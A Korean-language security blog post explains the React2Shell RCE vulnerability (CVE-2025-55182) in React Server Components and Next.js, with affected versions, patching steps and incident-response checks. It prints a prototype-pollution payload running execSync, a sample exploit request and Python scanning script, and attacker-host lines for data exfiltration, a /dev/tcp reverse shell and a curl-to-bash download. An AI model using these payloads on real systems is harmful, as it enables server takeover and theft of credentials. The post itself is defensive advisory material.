Post

[Security] React2Shell (CVE-2025-55182) - React Server Components 원격 코드 실행 취약점

Next.js 기본 앱에서도 발생하는 치명적인 RCE 취약점 분석과 대응 방법

문제 상황 (Problem)

2025년 12월 3일, React 생태계에 10.0 CVSS (Critical) 등급의 치명적인 보안 취약점이 공개되었다.

문제는 이것이 코드를 한 줄도 작성하지 않은 기본 Next.js 앱에서도 발생한다는 점이다.

1
2
3
4
5
6
7
# 취약한 기본 앱 생성
npx create-next-app@latest my-app
cd my-app
npm run build
npm start

# 🚨 이 상태로 배포하면 즉시 공격 가능

발표 후 몇 시간 내에 중국 국가 지원 해킹 그룹(Earth Lamia, Jackpot Panda)이 실제 공격을 시작했으며, 현재 CISA KEV(Known Exploited Vulnerabilities) 목록에 등재된 상태다.


CVE-2025-55182란?

기본 정보

항목내용
CVE IDCVE-2025-55182
별칭React2Shell
CVSS 점수10.0 (Critical)
취약점 유형Insecure Deserialization → RCE
발견자Lachlan Davidson
공개일2025년 12월 3일
공격 난이도매우 낮음 (HTTP 요청 1번)
인증 필요없음 (Unauthenticated RCE)

영향 범위

Wiz 조사 결과, 클라우드 환경의 39%에 취약한 Next.js 또는 React 인스턴스가 존재한다.


영향받는 버전 (Affected Versions)

React (react-server-dom)

패키지취약한 버전패치된 버전
react-server-dom-webpack19.0.x, 19.1.x, 19.2.x19.0.1, 19.1.2, 19.2.1
react-server-dom-vite19.0.x, 19.1.x, 19.2.x19.0.1, 19.1.2, 19.2.1
react-server-dom-esm19.0.x, 19.1.x, 19.2.x19.0.1, 19.1.2, 19.2.1

Next.js

Next.js 버전상태패치 버전
14.x (Stable)✅ 안전-
14.3.0-canary.77 이상 (Canary)❌ 취약-
15.0.0 ~ 15.0.4❌ 취약15.0.5+
15.1.0 ~ 15.1.8❌ 취약15.1.9+
16.x (모든 버전)❌ 취약16.0.1+

기타 프레임워크

React Server Components를 지원하는 모든 프레임워크가 영향을 받는다:

  • Vite RSC
  • Parcel RSC
  • React Router RSC
  • RedwoodSDK
  • Waku

공격 메커니즘 (Attack Mechanism)

취약점의 핵심

React Server Components(RSC)는 서버와 클라이언트 간 데이터 전송을 위해 “Flight” 프로토콜을 사용한다.

문제는 이 프로토콜에서 클라이언트로부터 받은 데이터를 역직렬화(Deserialize)할 때 검증을 하지 않는다는 것이다.

Prototype Pollution 공격

1
2
3
4
5
6
// ❌ 취약한 역직렬화 과정
{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "_prefix": "process.mainModule.require('child_process').execSync('whoami');"
}

공격자는 JavaScript의 Prototype Pollution 기법을 이용하여:

  1. __proto__ 속성을 조작
  2. process.mainModule.require() 호출
  3. child_process.execSync() 실행
  4. 서버에서 임의의 명령 실행

실제 공격 요청

1
2
3
4
5
6
7
8
9
10
11
12
# 취약한 Next.js 앱 공격 예시
POST /api/react-server HTTP/1.1
Host: vulnerable-app.example.com
Content-Type: application/json

{
  "0": {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "_prefix": "process.mainModule.require('child_process').execSync('cat /etc/passwd > /tmp/pwned');"
  }
}

공격 특징

1
2
3
4
5
✅ 인증 불필요 (Unauthenticated)
✅ 기본 설정에서 동작 (Default Configuration)
✅ 성공률 거의 100% (Near 100% Reliability)
✅ Server Actions 사용 안 해도 취약 (RSC만 지원하면 됨)
✅ 단일 HTTP 요청으로 완료

실제 공격 사례 (Exploitation in the Wild)

타임라인

1
2
3
4
5
2025-12-03 (공개일)
    ⬇️ 몇 시간 후
2025-12-03 22:00 (UTC)
    ⬇️ 대규모 스캔 시작
800+ 개 IP 주소에서 공격 시도 감지

관찰된 공격 유형

Datadog Security Labs와 AWS Threat Intelligence 팀이 감지한 공격 패턴:

1. 환경 변수 탈취

1
2
3
# 공격 페이로드 예시
cat /etc/passwd | curl -X POST https://attacker.com/exfil
env | grep -E '(AWS|SECRET|KEY|TOKEN)' > /tmp/creds.txt

2. 역쉘(Reverse Shell) 설치

1
2
3
4
5
# 원격 서버로 쉘 연결
bash -i >& /dev/tcp/attacker.com/4444 0>&1

# 또는 스크립트 다운로드 후 실행
curl https://attacker.com/malware.sh | bash

3. 시스템 정보 수집

1
2
3
4
# OS, 아키텍처, 네트워크 정보 수집
uname -a
ifconfig
ps aux

공격 그룹

위협 그룹국가활동 시작
Earth Lamia중국2025-12-03
Jackpot Panda중국2025-12-03

즉시 확인 방법

1. Next.js 버전 확인

1
2
3
4
5
# package.json 확인
cat package.json | grep next

# 실행 중인 앱 확인
npm list next

2. React 버전 확인

1
2
3
4
5
npm list react react-dom

# 취약 여부 판단
# react 19.0.x ~ 19.2.x → ❌ 취약
# react 19.0.1, 19.1.2, 19.2.1+ → ✅ 안전

3. 빠른 취약점 스캔

1
2
3
4
5
# 1. RSC 엔드포인트 확인
curl -I https://your-app.com

# 2. package-lock.json에서 검색
grep -E "react-server-dom|next" package-lock.json

해결 방법 (Mitigation)

즉시 조치: 패키지 업그레이드

Next.js 업그레이드

1
2
3
4
5
6
7
8
9
10
# 1. Next.js 15.x 사용 중
npm install next@15.0.5
# 또는
npm install next@15.1.9

# 2. Next.js 16.x 사용 중
npm install next@16.0.1

# 3. 재배포 필수
npm run build

React 업그레이드

1
2
3
# React 19.x 사용 중
npm install react@19.2.1 react-dom@19.2.1
npm install react-server-dom-webpack@19.2.1  # 사용 중인 경우

package.json 수정 예시

1
2
3
4
5
6
7
{
  "dependencies": {
    "next": "^15.1.9",
    "react": "^19.2.1",
    "react-dom": "^19.2.1"
  }
}

패치 후 검증

1
2
3
4
5
6
7
8
9
10
# 1. 의존성 재설치
rm -rf node_modules package-lock.json
npm install

# 2. 빌드 및 배포
npm run build
npm start

# 3. 버전 확인
npm list next react

완화(Workaround)가 없는 이유

일부 취약점과 달리, CVE-2025-55182는 완화 방법이 없다.

1
2
3
4
5
6
❌ WAF 규칙 추가 (우회 가능)
❌ 특정 엔드포인트 비활성화 (RSC 전체가 영향받음)
❌ 방화벽 설정 (HTTP 요청 자체를 막을 수 없음)
❌ 환경 변수 제거 (시스템 명령 실행 자체가 문제)

✅ 유일한 해결책: 패치된 버전으로 즉시 업그레이드

보안 점검 체크리스트

배포 전 확인 사항

1
2
3
4
5
□ Next.js 버전이 15.0.5+ 또는 15.1.9+ 또는 16.0.1+인가?
□ React 버전이 19.0.1, 19.1.2, 19.2.1+ 인가?
□ package-lock.json이 업데이트되었는가?
□ 프로덕션 빌드가 새 버전으로 되었는가?
□ 모든 환경(dev, staging, prod)에 패치가 적용되었는가?

사고 발생 시 대응

1
2
3
4
5
6
7
8
# 1. 즉시 서버 격리 (네트워크 차단)
# 2. 침해 흔적 확인
grep -r "child_process\|execSync\|require" /var/log/
find /tmp -type f -mtime -1  # 최근 생성된 파일

# 3. 환경 변수 재발급 (AWS, DB 등)
# 4. 접근 로그 분석
tail -f /var/log/nginx/access.log | grep "POST.*react-server"

왜 이렇게 빠르게 공격받았는가?

공개 PoC의 위험성

취약점 공개와 동시에 작동하는 PoC(Proof of Concept)가 GitHub에 올라왔다.

1
2
3
공개 PoC → 자동화 스크립트 → 대규모 스캔 → 공격
       ↑
    몇 시간 이내

공격 자동화

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 공격자가 사용하는 스캔 스크립트 예시 (교육 목적)
import requests

def check_react2shell(target):
    payload = {
        "0": {
            "then": "$1:__proto__:then",
            "status": "resolved_model",
            "_prefix": "process.mainModule.require('child_process').execSync('id');"
        }
    }
    try:
        r = requests.post(f"{target}/api/react-server", json=payload, timeout=5)
        # 응답 분석...
    except:
        pass

# Shodan, Censys에서 Next.js 앱 검색 후 자동 공격

핵심 포인트 정리

  1. 기본 설정이 취약 - 코드 한 줄 안 써도 공격당함.
  2. 완화 방법 없음 - 패치 업그레이드가 유일한 해결책.
  3. 인증 불필요 - 외부에서 HTTP 요청만으로 서버 장악 가능.
  4. 이미 악용 중 - CISA KEV 등재, 국가 지원 해킹 그룹 활동 중.
  5. 영향 범위 광범위 - RSC 지원하는 모든 프레임워크 영향.

장기적 교훈

1. Deserialization은 위험하다

1
2
3
4
5
6
7
// ❌ 나쁜 예: 사용자 입력을 그대로 역직렬화
JSON.parse(userInput)
eval(userInput)

// ✅ 좋은 예: 스키마 검증 후 역직렬화
const schema = Joi.object({ name: Joi.string(), age: Joi.number() });
const { error, value } = schema.validate(JSON.parse(userInput));

2. 서버 사이드 검증 필수

클라이언트에서 보낸 모든 데이터는 악의적이라고 가정해야 한다.

1
2
3
4
5
Client Data → Server
              ↓
         [Validation]  ← 여기서 반드시 검증
              ↓
         [Deserialization]

3. 의존성 업데이트 자동화

1
2
3
4
5
6
7
8
# Dependabot 설정 (.github/dependabot.yml)
version: 2
updates:
  - package-ecosystem: "npm"
    directory: "/"
    schedule:
      interval: "daily"
    open-pull-requests-limit: 10

참고 자료

취약점 분석 및 공식 발표:


마치며

CVE-2025-55182는 2025년 가장 치명적인 웹 프레임워크 취약점 중 하나입니다.

CVSS 10.0, 인증 불필요, 기본 설정 취약, 공개 PoC 존재, 실제 공격 진행 중 등 모든 조건이 최악입니다.

Next.js나 React 19.x를 사용하는 팀이라면 지금 즉시 패치 버전으로 업그레이드하고 재배포해야 합니다. 늦으면 늦을수록 공격받을 확률이 높아집니다.

보안 패치는 “나중에”가 아니라 “지금” 해야 합니다.

도움이 되셨길 바랍니다! 😀

This post is licensed under CC BY 4.0 by the author.